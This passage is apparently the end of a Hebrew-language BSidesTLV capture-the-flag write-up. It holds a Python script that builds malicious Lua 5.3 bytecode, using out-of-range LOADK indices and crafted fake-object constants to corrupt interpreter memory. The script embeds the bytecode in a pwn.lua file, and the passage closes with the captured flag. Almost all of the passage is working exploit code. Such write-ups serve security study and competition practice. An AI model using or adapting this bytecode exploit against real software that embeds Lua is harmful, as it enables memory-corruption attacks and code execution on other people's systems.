            'MOVE'    : (0, A, B),
            'LOADK'   : (1, A, Bx),
            'LOADKX'  : (2, A,),
            'LOADBOOL': (3, A, B, C),
            'LOADNIL' : (4, A, B),
            'GETUPVAL': (5, A, B),

            'GETTABUP': (6, A, B, C),
            'GETTABLE': (7, A, B, C),

            'SETTABUP': (8, A, B, C),
            'SETUPVAL': (9, A, B),
            'SETTABLE': (10, A, B, C),

            'NEWTABLE': (11, A, B, C),

            'SELF'    : (12, A, B, C),

            'ADD'     : (13, A, B, C),
            'SUB'     : (14, A, B, C),
            'MUL'     : (15, A, B, C),
            'MOD'     : (16, A, B, C),
            'POW'     : (17, A, B, C),
            'DIV'     : (18, A, B, C),
            'IDIV'    : (19, A, B, C),
            'BAND'    : (20, A, B, C),
            'BOR'     : (21, A, B, C),
            'BXOR'    : (22, A, B, C),
            'SHL'     : (23, A, B, C),
            'SHR'     : (24, A, B, C),
            'UNM'     : (25, A, B),
            'BNOT'    : (26, A, B),
            'NOT'     : (27, A, B),
            'LEN'     : (28, A, B),

            'CONCAT'  : (29, A, B, C),

            'JMP'     : (30, A, sBx),
            'EQ'      : (31, A, B, C),
            'LT'      : (32, A, B, C),
            'LE'      : (33, A, B, C),

            'TEST'    : (34, A, C),
            'TESTSET' : (35, A, B, C),

            'CALL'    : (36, A, B, C),
            'TAILCALL': (37, A, B, C),
            'RETURN'  : (38, A, B),

            'FORLOOP' : (39, A, sBx),
            'FORPREP' : (40, A, sBx),

            'TFORCALL': (41, A, C),
            'TFORLOOP': (42, A, sBx),

            'SETLIST' : (43, A, B, C),

            'CLOSURE' : (44, A, Bx),

            'VARARG'  : (45, A, B),

            'EXTRAARG': (46, Ax),
    }

    code = []

    for op, *args in asm:
        assert(op in handlers)
        opcode, *packers = handlers[op]

        assert(len(packers) == len(args))

        instr = Op(opcode)
        for i in range(len(packers)):
            instr |= packers[i](args[i])

        code.append(instr)

    return code

def dump_string(s):
    if len(s) == 0:
        return b'\x00'
    else:
        size = len(s) + 1
        if size < 0xff:
            return pack('=B', size) + s
        else:
            return pack('=BQ', 0xff, size) + s

def dump_code(asm):
    instrs = assemble(asm)
    codesize = pack('=I', len(instrs))
    code = b''.join(pack('=I', instr) for instr in instrs)

    return codesize + code

def dump_constants(constants):
    return pack('=I', len(constants)) + b''.join(constants)

def dump_upvalues():
    return pack('=I', 0)

def dump_protos():
    return pack('=I', 0)

def dump_debug():
    return pack('=III', 0, 0, 0)

def build_function(code, max_stacksize, constants):
    FunctionMetadata = Struct('=i i b b b')

    header = dump_string(b'@hax.lua') + FunctionMetadata.pack(0, 0, 0, 2, max_stacksize)

    code = dump_code(code)
    constants = dump_constants(constants)
    upvals = dump_upvalues()
    protos = dump_protos()
    debug = dump_debug()

    return header + code + constants + upvals + protos + debug

def build_chunk(asm, max_stacksize, constants):
    Header = Struct('=4s B B 6s B B B B B q d')

    header = Header.pack(b'\x1bLua', 83, 0, b'\x19\x93\r\n\x1a\n', 4, 8, 4, 8, 8, 0x5678, 370.5)
    upvals = pack('=B', 1)
    func = build_function(asm, max_stacksize, constants)

    return header + upvals + func

def pwn():
    MAX_STACKSIZE = 107
    ASM = [
        ('LOADK', 0, 104),
        ('LOADK', 1, 105),
        ('LOADK', 2, 106),
        ('RETURN', 0, 0)
    ]
    CONSTANTS = []

    content = pack('=B', LUA_TLNGSTR) + dump_string(pack('=QQQQQQQ', 0x4141414141414141, 0x31337, 0x13, 0x4141414141414141, 0x14, 0x4242424242424242, 0x45) * 5)

    for i in range(100):
        CONSTANTS.append(content)
        #CONSTANTS.append(pack('=B', LUA_TLNGSTR) + dump_string(pack('=QQ', 0x16, 0x42ceb1) * 25))          # CFI catches this

    chunk = build_chunk(ASM, MAX_STACKSIZE, CONSTANTS)

    code = open('pwn.tpl.lua', 'r').read()

    chunk_str = hexlify(chunk).decode('ASCII')

    n = 3000
    chunk_str_splited = "\"\ntest = test .. \"".join([chunk_str[i:i+n] for i in range(0, len(chunk_str), n)])

    code = code.replace('CHUNK', chunk_str_splited)

    with open('pwn.lua', 'w') as f:
        f.write(code)

if __name__ == '__main__':
    pwn()

נריץ, ונקבל את הדגל! BSidesTLV{KorokForest_HyruleCastle_ZeldaLink_Bowser}